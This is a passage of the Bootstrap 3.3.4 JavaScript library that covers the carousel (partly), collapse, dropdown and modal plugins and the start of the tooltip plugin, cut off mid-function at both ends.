|| this.getItemForDirection(type, $active)\n    var isCycling = this.interval\n    var direction = type == 'next' ? 'left' : 'right'\n    var that      = this\n\n    if ($next.hasClass('active')) return (this.sliding = false)\n\n    var relatedTarget = $next[0]\n    var slideEvent = $.Event('slide.bs.carousel', {\n      relatedTarget: relatedTarget,\n      direction: direction\n    })\n    this.$element.trigger(slideEvent)\n    if (slideEvent.isDefaultPrevented()) return\n\n    this.sliding = true\n\n    isCycling && this.pause()\n\n    if (this.$indicators.length) {\n      this.$indicators.find('.active').removeClass('active')\n      var $nextIndicator = $(this.$indicators.children()[this.getItemIndex($next)])\n      $nextIndicator && $nextIndicator.addClass('active')\n    }\n\n    var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, \"slid\"\n    if ($.support.transition && this.$element.hasClass('slide')) {\n      $next.addClass(type)\n      $next[0].offsetWidth // force reflow\n      $active.addClass(direction)\n      $next.addClass(direction)\n      $active\n        .one('bsTransitionEnd', function () {\n          $next.removeClass([type, direction].join(' ')).addClass('active')\n          $active.removeClass(['active', direction].join(' '))\n          that.sliding = false\n          setTimeout(function () {\n            that.$element.trigger(slidEvent)\n          }, 0)\n        })\n        .emulateTransitionEnd(Carousel.TRANSITION_DURATION)\n    } else {\n      $active.removeClass('active')\n      $next.addClass('active')\n      this.sliding = false\n      this.$element.trigger(slidEvent)\n    }\n\n    isCycling && this.cycle()\n\n    return this\n  }\n\n\n  // CAROUSEL PLUGIN DEFINITION\n  // ==========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.carousel')\n      var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option)\n      var action  = typeof option == 'string' ? option : options.slide\n\n      if (!data) $this.data('bs.carousel', (data = new Carousel(this, options)))\n      if (typeof option == 'number') data.to(option)\n      else if (action) data[action]()\n      else if (options.interval) data.pause().cycle()\n    })\n  }\n\n  var old = $.fn.carousel\n\n  $.fn.carousel             = Plugin\n  $.fn.carousel.Constructor = Carousel\n\n\n  // CAROUSEL NO CONFLICT\n  // ====================\n\n  $.fn.carousel.noConflict = function () {\n    $.fn.carousel = old\n    return this\n  }\n\n\n  // CAROUSEL DATA-API\n  // =================\n\n  var clickHandler = function (e) {\n    var href\n    var $this   = $(this)\n    var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\\s]+$)/, '')) // strip for ie7\n    if (!$target.hasClass('carousel')) return\n    var options = $.extend({}, $target.data(), $this.data())\n    var slideIndex = $this.attr('data-slide-to')\n    if (slideIndex) options.interval = false\n\n    Plugin.call($target, options)\n\n    if (slideIndex) {\n      $target.data('bs.carousel').to(slideIndex)\n    }\n\n    e.preventDefault()\n  }\n\n  $(document)\n    .on('click.bs.carousel.data-api', '[data-slide]', clickHandler)\n    .on('click.bs.carousel.data-api', '[data-slide-to]', clickHandler)\n\n  $(window).on('load', function () {\n    $('[data-ride=\"carousel\"]').each(function () {\n      var $carousel = $(this)\n      Plugin.call($carousel, $carousel.data())\n    })\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: collapse.js v3.3.4\n * http://getbootstrap.com/javascript/#collapse\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // COLLAPSE PUBLIC CLASS DEFINITION\n  // ================================\n\n  var Collapse = function (element, options) {\n    this.$element      = $(element)\n    this.options       = $.extend({}, Collapse.DEFAULTS, options)\n    this.$trigger      = $('[data-toggle=\"collapse\"][href=\"#' + element.id + '\"],' +\n                           '[data-toggle=\"collapse\"][data-target=\"#' + element.id + '\"]')\n    this.transitioning = null\n\n    if (this.options.parent) {\n      this.$parent = this.getParent()\n    } else {\n      this.addAriaAndCollapsedClass(this.$element, this.$trigger)\n    }\n\n    if (this.options.toggle) this.toggle()\n  }\n\n  Collapse.VERSION  = '3.3.4'\n\n  Collapse.TRANSITION_DURATION = 350\n\n  Collapse.DEFAULTS = {\n    toggle: true\n  }\n\n  Collapse.prototype.dimension = function () {\n    var hasWidth = this.$element.hasClass('width')\n    return hasWidth ? 'width' : 'height'\n  }\n\n  Collapse.prototype.show = function () {\n    if (this.transitioning || this.$element.hasClass('in')) return\n\n    var activesData\n    var actives = this.$parent && this.$parent.children('.panel').children('.in, .collapsing')\n\n    if (actives && actives.length) {\n      activesData = actives.data('bs.collapse')\n      if (activesData && activesData.transitioning) return\n    }\n\n    var startEvent = $.Event('show.bs.collapse')\n    this.$element.trigger(startEvent)\n    if (startEvent.isDefaultPrevented()) return\n\n    if (actives && actives.length) {\n      Plugin.call(actives, 'hide')\n      activesData || actives.data('bs.collapse', null)\n    }\n\n    var dimension = this.dimension()\n\n    this.$element\n      .removeClass('collapse')\n      .addClass('collapsing')[dimension](0)\n      .attr('aria-expanded', true)\n\n    this.$trigger\n      .removeClass('collapsed')\n      .attr('aria-expanded', true)\n\n    this.transitioning = 1\n\n    var complete = function () {\n      this.$element\n        .removeClass('collapsing')\n        .addClass('collapse in')[dimension]('')\n      this.transitioning = 0\n      this.$element\n        .trigger('shown.bs.collapse')\n    }\n\n    if (!$.support.transition) return complete.call(this)\n\n    var scrollSize = $.camelCase(['scroll', dimension].join('-'))\n\n    this.$element\n      .one('bsTransitionEnd', $.proxy(complete, this))\n      .emulateTransitionEnd(Collapse.TRANSITION_DURATION)[dimension](this.$element[0][scrollSize])\n  }\n\n  Collapse.prototype.hide = function () {\n    if (this.transitioning || !this.$element.hasClass('in')) return\n\n    var startEvent = $.Event('hide.bs.collapse')\n    this.$element.trigger(startEvent)\n    if (startEvent.isDefaultPrevented()) return\n\n    var dimension = this.dimension()\n\n    this.$element[dimension](this.$element[dimension]())[0].offsetHeight\n\n    this.$element\n      .addClass('collapsing')\n      .removeClass('collapse in')\n      .attr('aria-expanded', false)\n\n    this.$trigger\n      .addClass('collapsed')\n      .attr('aria-expanded', false)\n\n    this.transitioning = 1\n\n    var complete = function () {\n      this.transitioning = 0\n      this.$element\n        .removeClass('collapsing')\n        .addClass('collapse')\n        .trigger('hidden.bs.collapse')\n    }\n\n    if (!$.support.transition) return complete.call(this)\n\n    this.$element\n      [dimension](0)\n      .one('bsTransitionEnd', $.proxy(complete, this))\n      .emulateTransitionEnd(Collapse.TRANSITION_DURATION)\n  }\n\n  Collapse.prototype.toggle = function () {\n    this[this.$element.hasClass('in') ? 'hide' : 'show']()\n  }\n\n  Collapse.prototype.getParent = function () {\n    return $(this.options.parent)\n      .find('[data-toggle=\"collapse\"][data-parent=\"' + this.options.parent + '\"]')\n      .each($.proxy(function (i, element) {\n        var $element = $(element)\n        this.addAriaAndCollapsedClass(getTargetFromTrigger($element), $element)\n      }, this))\n      .end()\n  }\n\n  Collapse.prototype.addAriaAndCollapsedClass = function ($element, $trigger) {\n    var isOpen = $element.hasClass('in')\n\n    $element.attr('aria-expanded', isOpen)\n    $trigger\n      .toggleClass('collapsed', !isOpen)\n      .attr('aria-expanded', isOpen)\n  }\n\n  function getTargetFromTrigger($trigger) {\n    var href\n    var target = $trigger.attr('data-target')\n      || (href = $trigger.attr('href')) && href.replace(/.*(?=#[^\\s]+$)/, '') // strip for ie7\n\n    return $(target)\n  }\n\n\n  // COLLAPSE PLUGIN DEFINITION\n  // ==========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.collapse')\n      var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option)\n\n      if (!data && options.toggle && /show|hide/.test(option)) options.toggle = false\n      if (!data) $this.data('bs.collapse', (data = new Collapse(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.collapse\n\n  $.fn.collapse             = Plugin\n  $.fn.collapse.Constructor = Collapse\n\n\n  // COLLAPSE NO CONFLICT\n  // ====================\n\n  $.fn.collapse.noConflict = function () {\n    $.fn.collapse = old\n    return this\n  }\n\n\n  // COLLAPSE DATA-API\n  // =================\n\n  $(document).on('click.bs.collapse.data-api', '[data-toggle=\"collapse\"]', function (e) {\n    var $this   = $(this)\n\n    if (!$this.attr('data-target')) e.preventDefault()\n\n    var $target = getTargetFromTrigger($this)\n    var data    = $target.data('bs.collapse')\n    var option  = data ? 'toggle' : $this.data()\n\n    Plugin.call($target, option)\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: dropdown.js v3.3.4\n * http://getbootstrap.com/javascript/#dropdowns\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // DROPDOWN CLASS DEFINITION\n  // =========================\n\n  var backdrop = '.dropdown-backdrop'\n  var toggle   = '[data-toggle=\"dropdown\"]'\n  var Dropdown = function (element) {\n    $(element).on('click.bs.dropdown', this.toggle)\n  }\n\n  Dropdown.VERSION = '3.3.4'\n\n  Dropdown.prototype.toggle = function (e) {\n    var $this = $(this)\n\n    if ($this.is('.disabled, :disabled')) return\n\n    var $parent  = getParent($this)\n    var isActive = $parent.hasClass('open')\n\n    clearMenus()\n\n    if (!isActive) {\n      if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) {\n        // if mobile we use a backdrop because click events don't delegate\n        $('<div class=\"dropdown-backdrop\"/>').insertAfter($(this)).on('click', clearMenus)\n      }\n\n      var relatedTarget = { relatedTarget: this }\n      $parent.trigger(e = $.Event('show.bs.dropdown', relatedTarget))\n\n      if (e.isDefaultPrevented()) return\n\n      $this\n        .trigger('focus')\n        .attr('aria-expanded', 'true')\n\n      $parent\n        .toggleClass('open')\n        .trigger('shown.bs.dropdown', relatedTarget)\n    }\n\n    return false\n  }\n\n  Dropdown.prototype.keydown = function (e) {\n    if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return\n\n    var $this = $(this)\n\n    e.preventDefault()\n    e.stopPropagation()\n\n    if ($this.is('.disabled, :disabled')) return\n\n    var $parent  = getParent($this)\n    var isActive = $parent.hasClass('open')\n\n    if ((!isActive && e.which != 27) || (isActive && e.which == 27)) {\n      if (e.which == 27) $parent.find(toggle).trigger('focus')\n      return $this.trigger('click')\n    }\n\n    var desc = ' li:not(.disabled):visible a'\n    var $items = $parent.find('[role=\"menu\"]' + desc + ', [role=\"listbox\"]' + desc)\n\n    if (!$items.length) return\n\n    var index = $items.index(e.target)\n\n    if (e.which == 38 && index > 0)                 index--                        // up\n    if (e.which == 40 && index < $items.length - 1) index++                        // down\n    if (!~index)                                      index = 0\n\n    $items.eq(index).trigger('focus')\n  }\n\n  function clearMenus(e) {\n    if (e && e.which === 3) return\n    $(backdrop).remove()\n    $(toggle).each(function () {\n      var $this         = $(this)\n      var $parent       = getParent($this)\n      var relatedTarget = { relatedTarget: this }\n\n      if (!$parent.hasClass('open')) return\n\n      $parent.trigger(e = $.Event('hide.bs.dropdown', relatedTarget))\n\n      if (e.isDefaultPrevented()) return\n\n      $this.attr('aria-expanded', 'false')\n      $parent.removeClass('open').trigger('hidden.bs.dropdown', relatedTarget)\n    })\n  }\n\n  function getParent($this) {\n    var selector = $this.attr('data-target')\n\n    if (!selector) {\n      selector = $this.attr('href')\n      selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\\s]*$)/, '') // strip for ie7\n    }\n\n    var $parent = selector && $(selector)\n\n    return $parent && $parent.length ? $parent : $this.parent()\n  }\n\n\n  // DROPDOWN PLUGIN DEFINITION\n  // ==========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this = $(this)\n      var data  = $this.data('bs.dropdown')\n\n      if (!data) $this.data('bs.dropdown', (data = new Dropdown(this)))\n      if (typeof option == 'string') data[option].call($this)\n    })\n  }\n\n  var old = $.fn.dropdown\n\n  $.fn.dropdown             = Plugin\n  $.fn.dropdown.Constructor = Dropdown\n\n\n  // DROPDOWN NO CONFLICT\n  // ====================\n\n  $.fn.dropdown.noConflict = function () {\n    $.fn.dropdown = old\n    return this\n  }\n\n\n  // APPLY TO STANDARD DROPDOWN ELEMENTS\n  // ===================================\n\n  $(document)\n    .on('click.bs.dropdown.data-api', clearMenus)\n    .on('click.bs.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() })\n    .on('click.bs.dropdown.data-api', toggle, Dropdown.prototype.toggle)\n    .on('keydown.bs.dropdown.data-api', toggle, Dropdown.prototype.keydown)\n    .on('keydown.bs.dropdown.data-api', '[role=\"menu\"]', Dropdown.prototype.keydown)\n    .on('keydown.bs.dropdown.data-api', '[role=\"listbox\"]', Dropdown.prototype.keydown)\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: modal.js v3.3.4\n * http://getbootstrap.com/javascript/#modals\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // MODAL CLASS DEFINITION\n  // ======================\n\n  var Modal = function (element, options) {\n    this.options             = options\n    this.$body               = $(document.body)\n    this.$element            = $(element)\n    this.$dialog             = this.$element.find('.modal-dialog')\n    this.$backdrop           = null\n    this.isShown             = null\n    this.originalBodyPad     = null\n    this.scrollbarWidth      = 0\n    this.ignoreBackdropClick = false\n\n    if (this.options.remote) {\n      this.$element\n        .find('.modal-content')\n        .load(this.options.remote, $.proxy(function () {\n          this.$element.trigger('loaded.bs.modal')\n        }, this))\n    }\n  }\n\n  Modal.VERSION  = '3.3.4'\n\n  Modal.TRANSITION_DURATION = 300\n  Modal.BACKDROP_TRANSITION_DURATION = 150\n\n  Modal.DEFAULTS = {\n    backdrop: true,\n    keyboard: true,\n    show: true\n  }\n\n  Modal.prototype.toggle = function (_relatedTarget) {\n    return this.isShown ? this.hide() : this.show(_relatedTarget)\n  }\n\n  Modal.prototype.show = function (_relatedTarget) {\n    var that = this\n    var e    = $.Event('show.bs.modal', { relatedTarget: _relatedTarget })\n\n    this.$element.trigger(e)\n\n    if (this.isShown || e.isDefaultPrevented()) return\n\n    this.isShown = true\n\n    this.checkScrollbar()\n    this.setScrollbar()\n    this.$body.addClass('modal-open')\n\n    this.escape()\n    this.resize()\n\n    this.$element.on('click.dismiss.bs.modal', '[data-dismiss=\"modal\"]', $.proxy(this.hide, this))\n\n    this.$dialog.on('mousedown.dismiss.bs.modal', function () {\n      that.$element.one('mouseup.dismiss.bs.modal', function (e) {\n        if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true\n      })\n    })\n\n    this.backdrop(function () {\n      var transition = $.support.transition && that.$element.hasClass('fade')\n\n      if (!that.$element.parent().length) {\n        that.$element.appendTo(that.$body) // don't move modals dom position\n      }\n\n      that.$element\n        .show()\n        .scrollTop(0)\n\n      that.adjustDialog()\n\n      if (transition) {\n        that.$element[0].offsetWidth // force reflow\n      }\n\n      that.$element\n        .addClass('in')\n        .attr('aria-hidden', false)\n\n      that.enforceFocus()\n\n      var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget })\n\n      transition ?\n        that.$dialog // wait for modal to slide in\n          .one('bsTransitionEnd', function () {\n            that.$element.trigger('focus').trigger(e)\n          })\n          .emulateTransitionEnd(Modal.TRANSITION_DURATION) :\n        that.$element.trigger('focus').trigger(e)\n    })\n  }\n\n  Modal.prototype.hide = function (e) {\n    if (e) e.preventDefault()\n\n    e = $.Event('hide.bs.modal')\n\n    this.$element.trigger(e)\n\n    if (!this.isShown || e.isDefaultPrevented()) return\n\n    this.isShown = false\n\n    this.escape()\n    this.resize()\n\n    $(document).off('focusin.bs.modal')\n\n    this.$element\n      .removeClass('in')\n      .attr('aria-hidden', true)\n      .off('click.dismiss.bs.modal')\n      .off('mouseup.dismiss.bs.modal')\n\n    this.$dialog.off('mousedown.dismiss.bs.modal')\n\n    $.support.transition && this.$element.hasClass('fade') ?\n      this.$element\n        .one('bsTransitionEnd', $.proxy(this.hideModal, this))\n        .emulateTransitionEnd(Modal.TRANSITION_DURATION) :\n      this.hideModal()\n  }\n\n  Modal.prototype.enforceFocus = function () {\n    $(document)\n      .off('focusin.bs.modal') // guard against infinite focus loop\n      .on('focusin.bs.modal', $.proxy(function (e) {\n        if (this.$element[0] !== e.target && !this.$element.has(e.target).length) {\n          this.$element.trigger('focus')\n        }\n      }, this))\n  }\n\n  Modal.prototype.escape = function () {\n    if (this.isShown && this.options.keyboard) {\n      this.$element.on('keydown.dismiss.bs.modal', $.proxy(function (e) {\n        e.which == 27 && this.hide()\n      }, this))\n    } else if (!this.isShown) {\n      this.$element.off('keydown.dismiss.bs.modal')\n    }\n  }\n\n  Modal.prototype.resize = function () {\n    if (this.isShown) {\n      $(window).on('resize.bs.modal', $.proxy(this.handleUpdate, this))\n    } else {\n      $(window).off('resize.bs.modal')\n    }\n  }\n\n  Modal.prototype.hideModal = function () {\n    var that = this\n    this.$element.hide()\n    this.backdrop(function () {\n      that.$body.removeClass('modal-open')\n      that.resetAdjustments()\n      that.resetScrollbar()\n      that.$element.trigger('hidden.bs.modal')\n    })\n  }\n\n  Modal.prototype.removeBackdrop = function () {\n    this.$backdrop && this.$backdrop.remove()\n    this.$backdrop = null\n  }\n\n  Modal.prototype.backdrop = function (callback) {\n    var that = this\n    var animate = this.$element.hasClass('fade') ? 'fade' : ''\n\n    if (this.isShown && this.options.backdrop) {\n      var doAnimate = $.support.transition && animate\n\n      this.$backdrop = $('<div class=\"modal-backdrop ' + animate + '\" />')\n        .appendTo(this.$body)\n\n      this.$element.on('click.dismiss.bs.modal', $.proxy(function (e) {\n        if (this.ignoreBackdropClick) {\n          this.ignoreBackdropClick = false\n          return\n        }\n        if (e.target !== e.currentTarget) return\n        this.options.backdrop == 'static'\n          ? this.$element[0].focus()\n          : this.hide()\n      }, this))\n\n      if (doAnimate) this.$backdrop[0].offsetWidth // force reflow\n\n      this.$backdrop.addClass('in')\n\n      if (!callback) return\n\n      doAnimate ?\n        this.$backdrop\n          .one('bsTransitionEnd', callback)\n          .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) :\n        callback()\n\n    } else if (!this.isShown && this.$backdrop) {\n      this.$backdrop.removeClass('in')\n\n      var callbackRemove = function () {\n        that.removeBackdrop()\n        callback && callback()\n      }\n      $.support.transition && this.$element.hasClass('fade') ?\n        this.$backdrop\n          .one('bsTransitionEnd', callbackRemove)\n          .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) :\n        callbackRemove()\n\n    } else if (callback) {\n      callback()\n    }\n  }\n\n  // these following methods are used to handle overflowing modals\n\n  Modal.prototype.handleUpdate = function () {\n    this.adjustDialog()\n  }\n\n  Modal.prototype.adjustDialog = function () {\n    var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight\n\n    this.$element.css({\n      paddingLeft:  !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '',\n      paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : ''\n    })\n  }\n\n  Modal.prototype.resetAdjustments = function () {\n    this.$element.css({\n      paddingLeft: '',\n      paddingRight: ''\n    })\n  }\n\n  Modal.prototype.checkScrollbar = function () {\n    var fullWindowWidth = window.innerWidth\n    if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8\n      var documentElementRect = document.documentElement.getBoundingClientRect()\n      fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left)\n    }\n    this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth\n    this.scrollbarWidth = this.measureScrollbar()\n  }\n\n  Modal.prototype.setScrollbar = function () {\n    var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10)\n    this.originalBodyPad = document.body.style.paddingRight || ''\n    if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth)\n  }\n\n  Modal.prototype.resetScrollbar = function () {\n    this.$body.css('padding-right', this.originalBodyPad)\n  }\n\n  Modal.prototype.measureScrollbar = function () { // thx walsh\n    var scrollDiv = document.createElement('div')\n    scrollDiv.className = 'modal-scrollbar-measure'\n    this.$body.append(scrollDiv)\n    var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth\n    this.$body[0].removeChild(scrollDiv)\n    return scrollbarWidth\n  }\n\n\n  // MODAL PLUGIN DEFINITION\n  // =======================\n\n  function Plugin(option, _relatedTarget) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.modal')\n      var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option)\n\n      if (!data) $this.data('bs.modal', (data = new Modal(this, options)))\n      if (typeof option == 'string') data[option](_relatedTarget)\n      else if (options.show) data.show(_relatedTarget)\n    })\n  }\n\n  var old = $.fn.modal\n\n  $.fn.modal             = Plugin\n  $.fn.modal.Constructor = Modal\n\n\n  // MODAL NO CONFLICT\n  // =================\n\n  $.fn.modal.noConflict = function () {\n    $.fn.modal = old\n    return this\n  }\n\n\n  // MODAL DATA-API\n  // ==============\n\n  $(document).on('click.bs.modal.data-api', '[data-toggle=\"modal\"]', function (e) {\n    var $this   = $(this)\n    var href    = $this.attr('href')\n    var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\\s]+$)/, ''))) // strip for ie7\n    var option  = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data())\n\n    if ($this.is('a')) e.preventDefault()\n\n    $target.one('show.bs.modal', function (showEvent) {\n      if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown\n      $target.one('hidden.bs.modal', function () {\n        $this.is(':visible') && $this.trigger('focus')\n      })\n    })\n    Plugin.call($target, option, this)\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: tooltip.js v3.3.4\n * http://getbootstrap.com/javascript/#tooltip\n * Inspired by the original jQuery.tipsy by Jason Frame\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // TOOLTIP PUBLIC CLASS DEFINITION\n  // ===============================\n\n  var Tooltip = function (element, options) {\n    this.type       = null\n    this.options    = null\n    this.enabled    = null\n    this.timeout    = null\n    this.hoverState = null\n    this.$element   = null\n\n    this.init('tooltip', element, options)\n  }\n\n  Tooltip.VERSION  = '3.3.4'\n\n  Tooltip.TRANSITION_DURATION = 150\n\n  Tooltip.DEFAULTS = {\n    animation: true,\n    placement: 'top',\n    selector: false,\n    template: '<div class=\"tooltip\" role=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>',\n    trigger: 'hover focus',\n    title: '',\n    delay: 0,\n    html: false,\n    container: false,\n    viewport: {\n      selector: 'body',\n      padding: 0\n    }\n  }\n\n  Tooltip.prototype.init = function (type, element, options) {\n    this.enabled   = true\n    this.type      = type\n    this.$element  = $(element)\n    this.options   = this.getOptions(options)\n    this.$viewport = this.options.viewport && $(this.options.viewport.selector || this.options.viewport)\n\n    if (this.$element[0] instanceof document.constructor && !this.options.selector) {\n      throw new Error('`selector` option must be specified when initializing ' + this.type + ' on the window.document object!')\n    }\n\n    var triggers = this.options.trigger.split(' ')\n\n    for (var i = triggers.length; i--;) {\n      var trigger = triggers[i]\n\n      if (trigger == 'click') {\n        this.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this))\n      } else if (trigger != 'manual') {\n        var eventIn  = trigger == 'hover' ? 'mouseenter' : 'focusin'\n        var eventOut = trigger == 'hover' ? 'mouseleave' : 'focusout'\n\n        this.$element.on(eventIn  + '.' + this.type, this.options.selector, $.proxy(this.enter, this))\n        this.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this))\n      }\n    }\n\n    this.options.selector ?\n      (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) :\n      this.fixTitle()\n  }\n\n  Tooltip.prototype.getDefaults = function () {\n    return Tooltip.DEFAULTS\n  }\n\n  Tooltip.prototype.getOptions = function (options) {\n    options = $.extend({}, this.getDefaults(), this.$element.data(), options)\n\n    if (options.delay && typeof options.delay == 'number') {\n      options.delay = {\n        show: options.delay,\n        hide: options.delay\n      }\n    }\n\n    return options\n  }\n\n  Tooltip.prototype.getDelegateOptions = function () {\n    var options  = {}\n    var defaults = this.getDefaults()\n\n    this._options && $.each(this._options, function (key, value) {\n      if (defaults[key] != value) options[key] = value\n    })\n\n    return options\n  }\n\n  Tooltip.prototype.enter = function (obj) {\n    var self = obj instanceof this.constructor ?\n      obj : $(obj.currentTarget).data('bs.' + this.type)\n\n    if (self && self.$tip && self.$tip.is(':visible')) {\n      self.hoverState = 'in'\n      return\n    }\n\n    if (!self) {\n      self = new this.constructor(obj.currentTarget, this.getDelegateOptions())\n      $(obj.currentTarget).data('bs.' + this.type, self)\n    }\n\n    clearTimeout(self.timeout)\n\n    self.hoverState = 'in'\n\n    if (!self.options.delay || !self.options.delay.show) return self.show()\n\n    self.timeout = setTimeout(function () {\n      if (self.hoverState == 'in') self.show()\n    }, self.options.delay.show)\n  }\n\n  Tooltip.prototype.leave = function (obj) {\n    var self = obj instanceof this.constructor ?\n      obj : $(obj.currentTarget).data('bs.' + this.type)\n\n    if (!self) {\n      self = new this.constructor(obj.currentTarget, this.getDelegateOptions())\n      $(obj.currentTarget).data('bs.' + this.type, self)\n    }\n\n    clearTimeout(self.timeout)\n\n    self.hoverState = 'out'\n\n    if (!self.options.delay || !self.options.delay.hide) return self.hide()\n\n    self.timeout = setTimeout(function () {\n      if (self.hoverState == 'out') self.hide()\n    }, self.options.delay.hide)\n  }\n\n  Tooltip.prototype.show = function () {\n    var e = $.Event('show.bs.' + this.type)\n\n    if (this.hasContent() && this.enabled) {\n      this.$element.trigger(e)\n\n      var inDom = $.contains(this.$element[0].ownerDocument.documentElement, this.$element[0])\n      if (e.isDefaultPrevented() || !inDom) return\n      var that = this\n\n      var $tip = this.tip()\n\n      var tipId = this.getUID(this.type)\n\n      this.setContent()\n      $tip.attr('id', tipId)\n      this.$element.attr('aria-describedby', tipId)\n\n      if (this.options.animation) $tip.addClass('fade')\n\n      var placement = typeof this.options.placement == 'function' ?\n        this.options.placement.call(this, $tip[0], this.$element[0]) :\n        this.options.placement\n\n      var autoToken = /\\s?auto?\\s?/i\n      var autoPlace = autoToken.test(placement)\n      if (autoPlace) placement = placement.replace(autoToken, '') || 'top'\n\n      $tip\n        .detach()\n        .css({ top: 0, left: 0, display: 'block' })\n        .addClass(placement)\n        .data('bs.' + this.type, this)\n\n      this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element)\n\n      var pos          = this.getPosition()\n      var actualWidth  = $tip[0].offsetWidth\n      var actualHeight = $tip[0].offsetHeight\n\n      if (autoPlace) {\n        var orgPlacement = placement\n        var $container   = this.options.container ? $(this.options.container) : this.$element.parent()\n        var containerDim = this.getPosition($container)\n\n        placement = placement == 'bottom' && pos.bottom + actualHeight > containerDim.bottom ? 'top'    :\n                    placement == 'top'    && pos.top    - actualHeight < containerDim.top    ? 'bottom' :\n                    placement == 'right'  && pos.right  + actualWidth  > containerDim.width  ? 'left'   :\n                    placement == 'left'   && pos.left   - actualWidth  < containerDim.left   ? 'right'  :\n                    placement\n\n        $tip\n          .removeClass(orgPlacement)\n          .addClass(placement)\n      }\n\n      var calculatedOffset = this.getCalculatedOffset(placement, pos, actualWidth, actualHeight)\n\n      this.applyPlacement(calculatedOffset, placement)\n\n      var complete = function () {\n        var prevHoverState = that.hoverState\n        that.$element.trigger('shown.bs.' + that.type)\n        that.hoverState = null\n\n        if (prevHoverState == 'out') that.leave(that)\n      }\n\n      $.support.transition && this.$tip.hasClass('fade') ?\n        $tip\n          .one('bsTransitionEnd', complete)\n          .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) :\n        complete()\n    }\n  }\n\n  Tooltip.prototype.applyPlacement = function (offset, placement) {\n    var $tip   = this.tip()\n    var width  = $tip[0].offsetWidth\n    var height = $tip[0].offsetHeight\n\n    // manually read margins because getBoundingClientRect includes difference\n    var marginTop = parseInt($tip.css('margin-top'), 10)\n    var marginLeft = parseInt($tip.css('margin-left'), 10)\n\n    // we must check for NaN for ie 8/9\n    if (isNaN(marginTop))  marginTop  = 0\n    if (isNaN(marginLeft)) marginLeft = 0\n\n    offset.top  = offset.top  + marginTop\n    offset.left = offset.left + marginLeft\n\n    // $.fn.offset doesn't round pixel values\n    // so we use setOffset directly with our own function B-0\n    $.offset.setOffset($tip[0], $.extend({\n      using: function (props) {\n        $tip.css({\n          top: Math.round(props.top),\n          left: Math.round(props.left)\n        })\n      }\n    }, offset), 0)\n\n    $tip.addClass('in')\n\n    // check to see if placing tip in new offset caused the tip to resize itself\n    var actualWidth  = $tip[0].offsetWidth\n    var actualHeight = $tip[0].offsetHeight\n\n    if (placement == 'top' && actualHeight != height) {\n      offset.top = offset.top + height - actualHeight\n    }\n\n    var delta = this.getViewportAdjustedDelta(placement, offset, actualWidth, actualHeight)\n\n    if (delta.left) offset.left += delta.left\n    else offset.top += delta.top\n\n    var isVertical          = /top|bottom/.test(placement)\n    var arrowDelta          = isVertical ? delta.left * 2 - width + actualWidth : delta.top * 2 - height + actualHeight\n    var arrowOffsetPosition = isVertical ? 'offsetWidth' : 'offsetHeight'\n\n    $tip.offset(offset)\n    this.replaceArrow(arrowDelta, $tip[0][arrowOffsetPosition], isVertical)\n  }\n\n  Tooltip.prototype.replaceArrow = function (delta, dimension, isVertical) {\n    this.arrow()\n      .css(isVertical ? 'left' : 'top', 50 * (1 - delta / 